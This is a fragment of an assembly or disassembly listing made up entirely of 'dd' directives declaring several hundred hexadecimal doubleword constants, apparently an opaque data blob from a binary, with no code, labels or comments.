		dd 1FD44494h, 0CE004D2h, 0E2F628FDh, 0EE007754h, 495BE6C7h
		dd 3F8DA90h, 6A4CCE85h,	37805FB2h, 5731E704h, 0BCD880E2h
		dd 0E0C02912h, 2F8151EFh, 8F04FC73h, 41E75CA2h,	0A698DE65h
		dd 0C0D4F860h, 0F220DF40h, 0BF701A54h, 3304410Ch, 9530E13Bh
		dd 8F078C14h, 8CF2167Eh, 8797F30h, 909E008Dh, 0B63B42FDh
		dd 0A412BE2Bh, 0DCA80EE0h, 2C17778h, 0E54A9B7Eh, 0B844DDF9h
		dd 38681F00h, 2041C50Fh
		dd 95D55F97h, 0C014FCF8h, 704EB9CFh, 0AE7A00ADh, 321994E1h
		dd 49742491h, 505F1533h, 808CCDF4h, 69188C2Ch, 2D5061CDh
		dd 487813C0h, 8D8C20D7h, 0B107DD99h, 53761140h,	0C5431444h
		dd 3DA25B9Eh, 10502BC0h, 13FA2809h, 46AC02B7h, 0CA122211h
		dd 42105C59h, 78E17482h, 0DD30EC90h, 9F0D9100h,	2A4C8E53h
		dd 45A00296h, 7821CD40h, 0FAEA3C41h, 0EEC87h, 0B76A1851h
		dd 54013379h, 9EF52FBEh, 0DCEC94EBh, 0D3883CF6h, 11967318h
		dd 4992F30h, 77DB8F3Ch,	3C540384h, 387B81h, 0BF23E4C3h
		dd 2F2675A8h, 2855E100h, 7A9EAEF8h, 0C1E307EBh,	99422117h
		dd 4B005CD9h, 0DA6D7D85h, 0B4B300C8h, 30079123h, 0EF2E997Bh
		dd 4E009F5Ah, 7C50DB9Dh, 22072DCh, 77FFB2B6h, 0C8BB181h
		dd 45125004h, 0CC1358C2h, 0AC592800h, 1FB19Eh, 0F9FE6C7Ch
		dd 3F122590h, 0C515D90Ah, 0C3030CDDh, 0C936CC4Eh, 0A0E887B7h
		dd 290900C4h, 598CD747h, 0C5004330h, 0C7603448h, 1DDE4F21h
		dd 97BC50h, 1B3B6494h, 10C97A5Bh, 4EC580DAh, 0ABF7B45h
		dd 841FE21Ch, 12CE00A8h, 1587F592h, 84E4BB48h, 0ACFDDBE6h
		dd 7605FC00h, 0E952C9BFh, 0B3C37003h, 250BD87h,	0B90C13D0h
		dd 7E4356h, 84C82D82h, 64215788h, 0AD38BC15h, 7CC4459h
		dd 9B0FD945h, 3DFC208Dh, 540704B6h, 3874793Bh, 7A2BA8E0h
		dd 9765019Ch, 0B72843E7h, 0F0096F92h, 58CC5C89h, 4D039EC4h
		dd 0C823E29Dh, 60BEC22Ah, 31B43C37h, 0D43083CFh, 84706EB6h
		dd 0FA29F88h, 5D1E0A38h, 0A4DCD48Ah, 76D861E8h,	390830B9h
		dd 4BFCEF0Fh, 0CE498098h, 0B40D7Bh, 6A17FA14h, 97DB2D50h
		dd 80ECE048h, 0A118932Fh, 0C0200F09h, 307759C6h, 269753F0h
		dd 0C22D9E00h, 0D1A699E2h, 365F0006h, 0D9542AC4h, 411CC6A9h
		dd 78000D23h, 9731FE15h, 530CA1DFh, 989476FEh, 5C25B93Ch
		dd 0DDC01800h, 0AFB2E404h, 28900750h, 53136F37h, 2392CFB1h
		dd 3E001CF1h, 6DEE4385h, 8F290412h, 0C5D034C2h,	0B2A0h
		dd 7573ADE7h, 1ED466h, 9CE0B478h, 26BA3721h, 107CF85Dh
		dd 1C448441h, 5DAB3ADCh, 0E8C6CB02h, 0DB6160DDh, 7636F026h
		dd 0ECFCCE4Fh, 905C5C48h, 0E8377080h, 8009624Ch, 64D5955Ah
		dd 6DE0002Ch, 35508219h, 909DFF15h, 36AA958h, 0F21F92FDh
		dd 0B8E561C5h, 8BE90370h, 999C8945h, 4C3CF312h,	0F485178Bh
		dd 6FE0E43Ch, 0BA180700h, 10CD1170h, 68CB0F1Bh,	0B4C0484Ch
		dd 0F0E13153h, 0BC221F05h, 64C4710Ch, 68D6A460h, 9300137h
		dd 3EC661Fh, 0D8056E6Ah, 64D1EF34h, 12101E3Bh, 0C08360C5h
		dd 1C8F2C61h, 5391D8E0h, 5D08214Dh, 0FBD43038h,	0A03E400Bh
		dd 0A1410EEh, 79156ADDh, 4D14930h, 0E948200h, 2D6CCDh
		dd 9F5121FFh, 0B529C3C8h, 70EEC417h, 0E5385802h, 4428F083h
		dd 35F85CF0h, 7E743B70h, 8DC8F900h, 3DA486ACh, 0EA6C24D1h
		dd 0B8E51234h, 0B0DE806Ch, 68768h, 4A058EC6h, 0DA0A4BC7h
		dd 739D50A0h, 7498C573h, 88F2830h, 2F48F388h, 0F4CEF12Bh
		dd 9852B300h, 7A72585Ah, 0D3740027h, 5794FAFBh,	0BCFC1D45h
		dd 1B1EB507h, 6B100D87h, 3C20721Ch, 3CF04C78h, 21808A6Fh
		dd 99E5B4CCh, 0D82C48A5h, 3D50ECF5h, 16BE0008h,	0BA528299h
		dd 96068C90h, 9DEF8332h, 15C00442h, 0C413313Fh,	0E66EC06Ah
		dd 0E8482023h, 0A7D78074h, 0BC57A6h, 658A3C21h,	2EE3B96Bh
		dd 0FC379000h, 0E1F11B8Dh, 243E54D0h, 70E495B4h, 0A6EF7100h
		dd 6633A364h, 0D01004D9h, 0C4A92D4Eh, 0C52488DCh, 85B0E04Ch
		dd 0A4543D9Ah, 27F33A14h, 0C4C649h, 91360142h, 0EB3248B7h
		dd 3B44C09Eh, 0CA03C15Eh, 0FCEF85FDh, 3F029167h, 0CBAE31D7h
		dd 35254036h, 0B0305844h, 99115D80h, 0A300ECD7h, 0DC9C0145h
		dd 0B7C7158Ch, 36085410h, 0C3136300h, 0F9F2A171h, 5CC117B6h
		dd 4A00CCF4h, 912A24h, 3E8EF900h, 0CC194930h, 3AF096D9h
		dd 0EA2D7890h, 8C9020E0h, 3FA7462h, 0D9D1B7A4h,	7BC03637h
		dd 87008632h, 3A50C022h, 26AE4521h, 0C0A308h, 1E4D27E6h
		dd 0BCA9405Eh, 0D48470F0h, 5C24F320h, 0CEDF2029h, 7320C3D8h
		dd 168DCD83h, 5F5CD059h, 0C400D453h, 43E0B3DEh,	3DF170D7h
		dd 0EB814A2Bh, 45779321h, 0E4D03015h, 0C45E781h, 2018B082h
		dd 9084BE28h, 8B4684Ah,	56C2883Bh, 89A4745Ch, 8C1C7912h
		dd 84182650h, 3BA2151Dh, 4088B620h, 1EB8A5CDh, 0A833B000h
		dd 5CC71B83h, 0F5E800CFh, 686E9459h, 0F22DE5E1h, 0C5EC919Dh
		dd 1544970Ch, 829D02B4h, 4702C040h, 2D244880h, 9126BED7h
		dd 8D604C6Dh, 4C560974h, 0C7C86845h, 0E3365E40h, 0B13B00B9h
		dd 325C9EA1h, 0CA05370Ah, 0E5AC3388h, 45BEB004h, 0D32E54B7h
		dd 0E8390BF2h, 9DD598A1h, 98CC05C4h, 0C8095B53h, 738CC9FCh
		dd 0F2AD0AD7h, 12781096h, 0E24C9231h, 0F90F3C72h, 0A102F5E1h
		dd 5FB328Ah, 678FE0D3h,	0FF4803DEh, 82E39314h, 2078582Fh
		dd 0C40B8590h, 4D470062h, 0A90361A4h, 0E0FEECDh, 6B6CE635h
		dd 0B30480E3h, 4DA198Fh, 0F19E78C7h, 3C8DBFh, 0F7ECCC4Ch
		dd 80B01F3Ch, 3B65CB40h, 2C177DE3h, 0BB06986h, 0E0E4F2FEh
		dd 0E14BB570h, 67A36C90h, 17B6014Bh, 2D822E90h,	860892D0h
		dd 0DC007CB8h, 0B78804E7h, 204C41C4h, 0EB9FB1CCh, 693C4C40h
		dd 90EA0A75h, 4ECCD549h, 9E54B080h, 73002021h, 95F506B5h
		dd 0A1CEC51Ch, 102CC108h, 0A44C40h, 0DD0EEC2Bh,	190A536Bh
		dd 5841C89Ch, 0E44C492Ah, 2CAF4945h, 0A2102097h, 0E7025E5Ch
		dd 69C98A9Bh, 0E7240B2h, 0EDB800D8h, 3693AF1Fh,	5C165BF8h
		dd 0F022465Fh, 8E4E1h, 957037D8h, 2CA5CCADh, 9218DA39h
		dd 4C80136Dh, 206D7BAh,	0D0DC9267h, 485A8C36h, 0CB40EC9Eh
		dd 0FF45CFh, 0C55FBD48h, 2D8A3731h, 4B4AC704h, 74A4C157h
		dd 34985CF2h, 4C00E852h, 67A09EDEh, 363E0231h, 12230929h
		dd 42643932h, 1914C508h, 40D830FEh, 0C70B49B8h,	18D90A52h
		dd 0E6BFF2A4h, 0B8C1826Dh, 0DBE61142h, 6A01AC69h, 5A5DB33Eh
		dd 0BD2EC152h, 0B71E0FE8h, 81F8F482h, 39BE338Ah, 0E6804439h
		dd 327FB42h, 0A5B7CD3Bh, 0E5B0003Bh, 5A48DD36h,	0AD58C92Dh
		dd 0E438A020h, 78AFD83Dh, 75680D34h, 7CB83EE8h,	0AF74E048h
		dd 574D0098h, 0B179969Dh, 36785C7Dh, 40C884F2h,	47445E4h
		dd 9993126Ch, 0F8303BF4h, 0A20DF08h, 264F1C59h,	853111B4h
		dd 2400E261h, 941E7040h, 5D4B304Fh, 0D808FE71h,	2838155Eh
		dd 12FD83E0h, 499C62F4h, 94DA8E2Eh, 7485C218h, 998D18E6h
		dd 62DDCA2Dh, 283057F0h, 320086C2h, 66189DC3h, 21F68E1h
		dd 0A0EA9329h, 6C5C35B5h, 460DC907h, 766B1012h,	212A924Ch
		dd 7FC22E00h, 0DFD1AC20h, 926C0037h, 9760C685h,	58E624ACh
		dd 12724A05h, 10C71F69h, 0F442F0E4h, 0E7240C9Ch, 0FE24A4h
		dd 2278E9Ah, 0AB2A3680h, 0DC902806h, 4D00AE4h, 4A2FEE58h
		dd 0D9B8C2D2h, 0CCE7D0A7h, 0C800A441h, 1D90CA47h, 285EF495h
		dd 79939B7Ch, 34909FE1h, 7F009949h, 9390E5BEh, 0B69D2292h
		dd 2B4841ACh, 935442F4h, 120145Fh, 0D05448EFh, 0FAEC3CE1h
		dd 0D78800FCh, 0BA298BC0h, 16706F80h, 2805EFF1h, 0A347CA93h
		dd 3088C812h, 8799001Fh, 0A4F521ABh, 0DD0008A8h, 7DC3590Ch
		dd 0F769Eh, 20E088B8h, 11EEA02Dh, 350811C3h, 0B0296F46h
		dd 13A48470h, 842C4942h, 8F33800Fh, 7DD9D80Bh, 91809991h
		dd 0C90300C2h, 3DEABA5Eh
		dd 12AD02D7h, 0D548CA91h, 109F6CD0h, 3C504Ch, 7B3981C8h
		dd 78E355B0h, 0DB0C58B8h, 718298BEh, 0E1671396h, 8298B856h
		dd 449D502Ch, 348A0950h, 386060C5h, 184E802Fh, 7B0094A2h
		dd 42DB396Fh, 2A0BA0F1h, 0C92F7C35h, 0CD81A38h,	20285B16h
		dd 0AB808B0h, 0F8346501h, 5E3D874Ch, 0C9DDC06Bh, 8A1F29Eh
		dd 22C03C22h, 10C600BEh, 0AF1B443h, 9A098496h, 5CCA797Fh
		dd 0E0F00680h, 4316C109h, 0B034AEDh, 0E89FD239h, 163BF93h
		dd 0D2ADE37h, 0D6491311h, 0ED2BBC61h, 0E36C4319h, 1A1C4813h
		dd 8521B300h, 0FBB14653h, 0D02CB471h, 0ACF60680h, 0B004FC0h
		dd 0D89AF0CBh, 1352B597h, 0ACA4F2F5h, 8B54A028h, 45650002h
		dd 0FEB6ED90h, 4008F2Eh, 0C6C1A2D8h, 5C4245Dh, 15B28348h
		dd 5BF4CC93h, 6411992Ch, 8B1282BEh, 0FCFE7608h,	295319F8h
		dd 3854224Eh, 951C8001h, 32AE760h, 0C10BF31h, 1D1F36ADh
		dd 8303854Ch, 924BF80Fh, 0E0B041A2h, 0E017C3Dh,	2D564507h
		dd 16D46060h, 0E0BA4B88h, 0DA9B16D1h, 328CC110h, 0C09C3D7Ch
		dd 26927F3Bh, 0FBFD0373h, 4029E12Eh, 0C55CAE88h, 1007DE00h
		dd 3C97282Fh, 6BB70770h, 80A85B67h, 8A8FD52Ch, 0AE008C7Fh
		dd 0A6330C1h, 1DE24B32h, 409EAA60h, 228F5FB4h, 1D003B49h
		dd 638695C5h, 1C971061h, 820B2BDBh, 0C2942D5Ah,	0F9EC985Dh
		dd 0DC2F0693h, 0D864B740h, 9070084Fh, 0FE796B7Ah, 0C4610002h
		dd 15C9EDF2h, 80B0FBFh,	82E21256h, 5F218668h, 2E641C38h
		dd 0FF83839h, 61A79982h, 0DFAC052Dh, 8090C13Ah,	0EC2004EDh
		dd 0EAE52C5Eh, 74C51CCEh, 4DB2C088h, 97C0A41Dh,	0E7494003h
		dd 0C85EAB54h, 133D747h, 45795712h, 211EBFB4h, 0C4882A18h
		dd 3297982h, 0E2B9C6FDh, 2AE8EEB6h, 8EA0BA2Ch, 335C2D52h
		dd 9BE16F5h, 2565EC28h,	0C4E666E5h, 0AE06AD00h,	8FA2F69Eh
		dd 6845003Ah, 7A1517A0h, 0A9903790h, 0B8498000h, 7ED8CE83h
		dd 36C602EAh, 7FC57569h, 0A40F6C5Ah, 49F06CD3h,	0C268802Dh
		dd 0BC94B40Dh, 0EC186BC4h, 2100E9E0h, 0CB1D0EC3h, 9E57ADDh
		dd 86FAFDA6h, 9E479300h, 0F80EFCE7h, 0A0D058DEh, 0CA8030BCh
		dd 0D97454h, 11283A2Bh,	3AD65E4h, 98D7C500h, 0DE6F13F3h
		dd 534009FDh, 1498E80Dh, 19007837h, 0F38D03E3h,	36A4AB8h
		dd 0D4C7D956h, 0F90BF84h, 3209CCE7h, 5DB73E9h, 9C408FCCh
		dd 2A620A5Dh, 43AE2E64h, 2075162Bh, 60D915F4h, 1CBCC495h
		dd 0EEFFA8h, 0C1E7FA71h, 0E53F3A54h, 9E6A07F9h,	0FD90FBCAh
		dd 1A3F8Ah, 902F0A80h, 9F0EB515h, 0CB1A000h, 0CF409372h
		dd 0D76016B6h, 229021DDh, 58307BE8h, 5999BC2h, 8D0D391h
		dd 0C70C0A30h, 22DE17FFh, 0D3621F64h, 0E42084D6h, 949CC60Bh
		dd 975C4076h, 0C3130B04h, 3C1848A1h, 671F617Ch,	84454C60h
		dd 0B4C09FC1h, 0BE2416F1h, 0E1B36054h, 0B17F89D9h, 3AAA583Fh
		dd 8D9E938Eh, 0AD4A6840h, 0BE28EDC4h, 4C0A438h,	8D6994E7h
		dd 0C7902C94h, 0BEB4E021h, 0C18420AAh, 0E7025399h, 15E3CAFAh
		dd 0AC145794h, 0AB314400h, 0BBE04C82h, 4BAA00F7h, 0C8FFE5CBh
		dd 0E10060ACh, 1C9626C3h, 77F55C4h, 85E01F10h, 95208FF3h
		dd 3C2B9765h, 6EB70902h, 989BF2EEh, 2B0C5B4h, 40D01992h
		dd 5CE23F04h, 0C1801051h, 0FDC8CB0Ch, 0F3CA004Ch, 0F9A1A4DAh
		dd 0C66D9AF5h, 0E889A8C9h, 44B81E87h, 0D8004A32h, 418E78A6h
		dd 1FBF734Ch, 52F0D455h, 5890BCC9h, 0E4DC4E18h,	0CDE007BFh
		dd 0D08AD4E1h, 88D19316h, 17918C9Ch, 79A02809h,	425868F2h
		dd 0C5F84DECh, 80CB00Ah, 29B7032h, 0FCC01F80h, 0F046194Ch
		dd 47019602h, 62DB4582h, 0E90802C0h, 0E2B85487h, 64F61691h
		dd 82929F40h, 0E7E685h,	8F35C5E4h, 91290EBAh, 0BF48EA12h
		dd 1E380444h, 0B8A11245h, 0C469C3B8h, 0F7BC59h,	722D7440h
		dd 48490950h, 2C71F8B8h, 0DDDC3Ch, 770F9419h, 31CF56D8h
		dd 0C6E80D9Ah, 888C68E6h, 405C9E10h, 0BD63E090h, 681EBCD6h
		dd 1B40D365h, 5FE1138Ah, 4C2E02E8h, 18D832BFh, 0C2C0B84Bh
		dd 48A03D56h, 0FE4CBEC5h, 0B59ECA40h, 88DCEE00h, 3F35F4Ah
		dd 0E92DB690h, 89E0421Ah, 320C1F3Eh, 0F92C48B7h, 71910E46h
		dd 0A1D65092h, 1D2A306Ch, 4CC497h, 0E9441BEFh, 0C2E88997h
		dd 0DA84631Fh, 529BBEC2h, 56544222h, 0BAE04EF0h, 6F2D7605h
		dd 39D23F0Eh, 0BD552072h, 5CB51D5Bh, 36823C45h,	9CD4AC4Ch
		dd 93FC4Ch, 76FEC271h, 34C49A01h, 0F28BB450h, 1DA3CC00h
		dd 0E9893B13h, 81450E6Fh, 55801073h, 64B61A67h,	804A4438h
		dd 2A755942h, 17E2B78Ch, 70167E78h, 0F85A2828h,	0FDA93500h
		dd 0A03C40FCh, 4278BCECh, 39111333h, 2C80A87Ch,	97DF2D86h
		dd 0BC22DC5Fh, 502904D7h, 702B00D4h, 0D6BA23EDh, 0B8AF50ECh
		dd 442C96D3h, 0D428AB90h, 9E985Ch, 5A333F9Dh, 91EB1685h
		dd 0E842C25Eh, 201BE0E6h, 0D163E553h, 83177FB0h, 0B813F202h
		dd 82F4BC06h, 20659D60h, 0D80B6000h, 119638Dh, 7B3FE5F6h
		dd 0EC587A1Fh, 0C7E0C299h, 12C0165Ch, 48B9254Fh, 0FC74B380h
		dd 0E8016A09h, 2F434829h, 0B066DEC6h, 0B05C4C70h, 981F4C80h
		dd 86252B30h, 8A9C4887h, 58B402CCh, 3C1E93C8h, 4431F8E8h
		dd 7448264Eh, 0FC2D443Dh, 449388FCh, 0A0B2C2h, 7C51F35Eh
		dd 3E5091A1h, 0B4B235D2h, 8E242488h, 71093482h,	0EC328CB8h
		dd 9C91E221h, 9902AF1Ch, 0C0377113h, 1F1A16EDh,	402D0674h
		dd 53706FB9h, 94133D24h, 18ED14B7h, 0E03A2D80h,	8400978Ch
		dd 371BD394h, 25564026h, 74DB1345h, 0CBEA2F80h,	3057FF2Eh
		dd 3DE82C3Bh, 849D3C04h, 2080BE60h, 274CC74Bh, 0C891DB0Ah
		dd 221D02ECh, 0E0103BC7h, 0A22E8811h, 0D7DE10Eh, 154E0C7h
		dd 0B65B0DBh, 28BFA8DFh, 99310C40h, 68E8B083h, 4F4B14CCh
		dd 1C399CEAh, 25049C40h, 1E98F312h, 6CDA1740h, 0C8974530h
		dd 88C5D9A8h, 23D3E0Ah,	0B3A58180h, 0BE82BB87h,	0C297D0F0h
		dd 381D5848h, 0C8BAE89h, 0F92EE838h, 533EBA1Ch,	4644154h
		dd 83ABC712h, 0F88875AEh, 0B7950BD4h, 91B044C4h, 692E80C4h
		dd 8549D2DDh, 746B4E02h, 62CF270Eh, 3ACD19Fh, 0DE1ED293h
		dd 2AD10FA8h, 4B008DFCh, 0E0E9CB88h, 0CFD5535h,	16ED311Ch
		dd 67098B60h, 0F123E5E3h, 1F900064h, 93F6AA51h,	0F3BFA900h
		dd 0EA24E5C0h, 74F275D0h, 48335CDEh, 0FE756980h, 5190202Dh
		dd 0E02C9004h, 0A4EC8765h, 0DE592480h, 6CB2725Ch, 0B0D03926h
		dd 5ED349C2h, 316740ACh, 8C28620h, 606E4FE5h, 16B7D81Eh
		dd 0B242569Ah, 8C017A58h, 0FB0EB072h, 0C747B731h, 605AF4E2h
		dd 0F00F826Ch, 0FADD7C8Ah, 48063EEEh, 0F16FC201h, 3B99F2F4h
		dd 3C0150CAh, 0A96432B9h, 0BDB07CE8h, 7E794800h, 0E2510138h
		dd 3E063912h, 9923FC93h, 0ECB0CA2Ch, 98F44582h,	166C58A5h
		dd 0A23D0A17h, 8E961600h, 1FF620C8h, 1E419A2h, 61289AD9h
		dd 90903BBAh, 9A884553h, 2F4EFA1Ch, 88A30CD9h, 21FC9598h
		dd 0BB101A3Ch, 0F45C43C4h, 9CA3D3CCh, 4CD92A25h, 1B444CA8h
		dd 51CA6F12h, 0AE6CD981h, 9C006A63h, 1D048750h,	3153042Eh
		dd 40AFCA15h, 18B730FBh, 54910482h, 942009C4h, 5020EFCCh
		dd 3CBEDA57h, 0FF24ED92h, 1F31001Fh, 505582A3h,	80689C3Ch
		dd 0B22AC58Ah, 0BDD41C8h, 784528BEh, 0A289245Ch, 13ECF1A8h
		dd 0E3A4209Bh, 0E12AE0D0h, 0BC029078h, 2EAA0AA4h, 3E28E6AEh
		dd 7E8ECA08h, 6560CC28h
		dd 13F12D3Fh, 0B3866900h, 0FBB02573h, 0E6C91182h, 60330F58h
		dd 1E1205A7h, 3F6ED8C0h, 0B52AECE4h, 5F6EDC44h,	884E6989h
		dd 8065CC47h, 76D4BC22h, 90E297C0h, 390AAD5Ch, 2D38A40Eh
		dd 511669D0h, 9BC88604h, 2C9869A2h, 8D04A0BDh, 9843702Fh
		dd 0AE40F98h, 90956045h, 0C4F99310h, 0ED451F99h, 8020A873h
		dd 33409CCAh, 0FEA024C5h, 0E60B04D0h, 0F85C8328h, 274608ACh
		dd 321A5468h, 780C4D12h, 4F78BCBDh, 426C73CBh, 0CA7857A8h
		dd 44D49E04h, 3FFF3C3h,	8B7DE8A4h, 22F89858h, 12210A18h
		dd 3B24EEC6h, 0E007CC4h, 0CCFEFDA3h, 5EF1A26Fh,	70928397h
		dd 96782095h, 7F828DB9h, 0F4D35C91h, 0AC00A831h, 0CEC0CCCAh
		dd 5E849D0Ch, 88E08027h, 1B599312h, 925D0B38h, 41DC5661h
		dd 3D7D4653h, 0E0B30060h, 56D24EDAh, 4CD65C44h,	0BBAC4D02h
		dd 84DC02F0h, 9876620Fh, 63E39F0h, 0E82D83FDh, 0E50099C7h
		dd 81C53F36h, 2918672Ah, 3D980756h, 36E78382h, 0B082BECBh
		dd 5E18283Ch, 10118907h, 0FF757F2Ch, 1C77330h, 0C9F49A1Ah
		dd 6D8D9BC6h, 0CB3111DCh, 928B9138h, 0B8A9F2A8h, 670F60C4h
		dd 6FFA17B5h, 0F3D9A04Bh, 7F3DB2A2h, 0C32E6D1h,	9AF71562h
		dd 69256AE0h, 186C842Dh, 0E4E92440h, 0C4B58EF2h, 0A20A5A1Ch
		dd 6F44509Ch, 3F53B0A8h, 79A4A9B7h, 0EBE80318h,	69F027FBh
		dd 0E6070F1Ah, 0A9CBD22h, 0B1F5A0F0h, 0C0A16861h, 65C130B6h
		dd 0A7300897h, 0F07E9864h, 2BE08FAh, 84022647h,	5DEA386Fh
		dd 0D748000h, 3E28E8A4h, 0C543F029h, 0E9128A21h, 5D48F4h
		dd 30697C14h, 33DB9D3Ch, 65DA5E00h, 6A2E3A2Bh, 668802B7h
		dd 0BF31FEC9h, 385218E2h, 0BE8A5617h, 60072CF2h, 0E04C06CAh
		dd 44DA8CCBh, 3443782Eh, 8BDD681h, 206AB812h, 2821CB54h
		dd 0E3203F00h, 4176ECA0h, 560B001Eh, 2AFDA550h,	24E0B9BFh
		dd 45A1152Fh, 0C0B60044h, 59D8E9E7h, 0FB17DC01h, 202C6368h
		dd 0D7B8163Eh, 0B6D52064h, 39C0F548h, 0E0F1C86Ch, 438600EFh
		dd 6A4E989Ah, 0CF7044E3h, 52E57904h, 3082B5D1h,	4B8C1BC9h
		dd 0FD209829h, 66A00E4h, 425348E6h, 0BD0BCA43h,	0F8CC4BF7h
		dd 9490975Ch, 0AD3C6316h, 3873899Fh, 0D2C98047h, 51E62A5h
		dd 1F048B27h, 489C0494h, 4C200975h, 0AE4213BCh,	27E0B256h
		dd 4709612h, 3319AFFEh,	6B9580F4h, 92246243h, 866404D9h
		dd 2CBE2D40h, 0E75A1CE9h, 0E305E0A6h, 2E2335Dh,	2B5B1F08h
		dd 40747042h, 91D40549h, 10059032h, 0C8C4C020h,	60FB77FCh
		dd 0AAEBBDD8h, 0FB789D05h, 0A420303Bh, 0EF43B0h, 411DD19Ah
		dd 0D54899B6h, 15ABAF09h, 0E074184Ch, 406AE5FDh, 2956AA40h
		dd 350113B8h, 37367AECh, 86E98E58h, 2A60F9E8h, 457CC192h
		dd 3D02CE63h, 20A47773h, 10CA9A1h, 69096C9Eh, 203FF317h
		dd 7AE0B4C8h, 0D0CB9400h, 0DF65DDF9h, 9F2400B5h, 3A9165Fh
		dd 0CA278A45h, 0B08410B7h, 154B00A7h, 0ADA4D413h, 534CC5BBh
		dd 188D26E4h, 0E6446864h, 30B294h, 5FC8599Dh, 7493876h
		dd 0D8DA05ABh, 8AC1ABEh, 15164290h, 30619C30h, 3C48BEE1h
		dd 8963281Ch, 0A4FA9415h, 65415325h, 3FCD00ACh,	0F991D1A8h
		dd 7CC7FC00h, 0F8810CB7h, 0EDF0A14Dh, 0B884CE0Ch, 0F1E55BDCh
		dd 3A8737Ch, 6065CF10h,	7DBA91F6h, 254D8CC4h, 0D8E49816h
		dd 0D9AA2E00h, 0BEC40DA0h, 17FE98E7h, 1320399Dh, 74A2E4h
		dd 0A71E5934h, 57F0A58h, 550F6712h, 0E456AA31h,	89228408h
		dd 6004E5C2h, 0D00E4721h, 0A308ED83h, 1CC2E136h, 0FF24047Bh
		dd 0D1E8CC51h, 14F2E74Eh, 4D020D00h, 8C92B6Eh, 0BD203C00h
		dd 0FCDA1B0Ah, 9D861342h, 0FDF80895h, 0F683D262h, 3021C064h
		dd 2A000B7Ah, 385DA56Fh, 803D6E9Ch, 0EF582C49h,	15B4A0FCh
		dd 1AA30352h, 9BA145F4h, 440ECA8h, 30C85B5Bh, 3A21001Dh
		dd 3FBD414Fh, 8F00F292h, 4DE67B55h, 0FAF09DBBh,	8270AEB0h
		dd 4354718Ch, 37F0C784h, 0EF05F83Ch, 1FEB1AB1h,	0CD10E4C4h
		dd 895A88B0h, 20DAC549h, 1495F426h, 514C7E69h, 0FC12D22Fh
		dd 6FBA1C68h, 51E27CE1h, 3742C8h, 440956C2h, 99D121Ah
		dd 0FCFBF0h, 7E9B5BF9h,	0C97373A4h, 0AED0351Ch,	5755B600h
		dd 5266585h, 4928868Eh,	4550B4D5h, 48C1A40Bh, 40E051C6h
		dd 0C8F849D0h, 2F103B05h, 40D9704Dh, 582923F5h,	0A08C3C80h
		dd 2D16B3FAh, 0AC12DA10h, 0AC223913h, 0BC54296Ah, 1DF28240h
		dd 0AE6F0138h, 906D49EAh, 4EC6064h, 95232244h, 8CCE818h
		dd 0F7D63200h, 0ECD7BA28h, 51B71612h, 0DD64309Eh, 0E59F58B9h
		dd 1F5F0868h, 84962101h, 0F2F10ECh, 3905123Ch, 97E8F48Ah
		dd 47490904h, 60B4A116h, 0B7D902D7h, 0CF03154h,	94DFC91h
		dd 2912C1FDh, 3D531140h, 0C48991C2h, 4C9B7F48h,	0F2D4E010h
		dd 0E3362671h, 2E736248h, 9F90905Fh, 0AB6000C4h, 7866594Bh
		dd 0FC1D1538h, 1ECCD0F1h, 8620909Ch, 600E8644h,	2B3FC8E5h
		dd 603BE253h, 8CA0A601h, 881BA888h, 59A7559Dh, 0D1E70134h
		dd 0F8E1C51Bh, 7D1CA5BBh, 52003A91h, 0CE767ECFh, 3035072Dh
		dd 50600DDAh, 0C55F55FEh, 0B500A970h, 2F97E771h, 418EBB0h
		dd 0BEAC454Ah, 0D08C1E2h, 401E087Ah, 0F800E684h, 0B4B6DC96h
		dd 0FE88286h, 85F1152Ah, 65A04ED3h, 468B00D0h, 4CBABCD8h
		dd 7A9F447h, 92EF9F16h,	8B1AC07Bh, 5F019EC6h, 21D5AD17h
		dd 99F82609h, 1EDE041Fh, 822C2F7Bh, 98981CDCh, 0DC9145AFh
		dd 0E22FEF11h, 8874F848h, 909DF300h, 29AA4F93h,	728C00FAh
		dd 370EB7FDh, 4BD269Ch,	2EC5C2A0h, 900A0BCh, 63EB8D38h
		dd 74FC518Bh, 8FCEEF39h, 89C47D25h, 3E547022h, 0B7099791h
		dd 0A07E8BE8h, 5BCB4B00h, 46D589h, 77337CC5h, 305358D7h
		dd 2B0A6400h, 9A254B16h, 4414921Eh, 0A301740Dh,	47DB60BCh
		dd 0B6CDDF69h, 5DD2CE4h, 0C5573E6h, 1D548249h, 42CCC19h
		dd 0AAED8CC5h, 0BFC0C067h, 1E69A48Dh, 408971C6h, 7F2B0240h
		dd 4C26E205h, 0FC2E815Fh, 0D07952h, 6CA75A9Ch, 0EC00572Eh
		dd 0F9DBCA1Dh, 0A96D9BC6h, 8D121944h, 0E8A53004h, 34A8212Bh
		dd 0A0E02B09h, 3B562796h, 0D6007CC4h, 0A0B7987Fh, 99D90A66h
		dd 2DA11EB8h, 0EE3AC850h, 0D0F14E02h, 19FA4821h, 0E02C1267h
		dd 80764974h, 4496A4F2h, 0C79DC280h, 77E93E09h,	7BE732Eh
		dd 0FC505A8Bh, 88E6F422h, 239ECA0h, 0A34B001Fh,	0A83B944h
		dd 17420546h, 81F2AB66h, 93D8400h, 880F3EE0h, 53267EE9h
		dd 0EC40A43Bh, 246423DEh, 89CBEA6h, 3A4410F1h, 98045E4Bh
		dd 0C458840Eh, 0DC34AB10h, 0B50820ABh, 0B034532h, 9704442Bh
		dd 0FBA0D008h, 33E51315h, 0EB3C31ECh, 0C490242Bh, 89645A86h
		dd 1117D5A4h, 882F44F4h, 2F00BFF8h, 0CB982691h,	989D8259h
		dd 8DEF00ADh, 4D35871Fh, 0D45A48A7h, 30B02C53h,	649CA858h
		dd 5D0D01D1h, 0B552142Dh, 0D67C60CBh, 72022944h, 4D18C354h
		dd 2480C36Ah, 630236E2h, 4BA1C1A6h, 6264591Fh, 0F05C94E5h
		dd 0EF4CF240h, 4FF0181h, 0C1DC136Fh, 0B5082028h, 6522EA42h
		dd 1A3446B5h, 1996F2E6h, 0B65FC840h, 19F5AB09h,	58580229h
		dd 101011C3h, 0F60A50h,	0F0C67657h, 902F7899h, 8934E2B5h
		dd 0D3640044h, 70CE4C0h, 0E3AA49C5h, 0C317A506h, 98218B44h
		dd 845F90A1h, 0B25256C8h, 0C5980018h, 0C74AEBDCh, 0FFB513DBh
		dd 0A59C058Fh, 3828BF80h, 214D4BFBh, 2BE33014h,	48EBD880h
		dd 0C284984Bh, 0B9554661h
		dd 38ED4049h, 50B2A4DCh, 65426D01h, 0E8831D40h,	0C37F236Ah
		dd 49E9E405h, 0E80EEC5Eh, 6432779Eh, 0A43C2406h, 99A08D88h
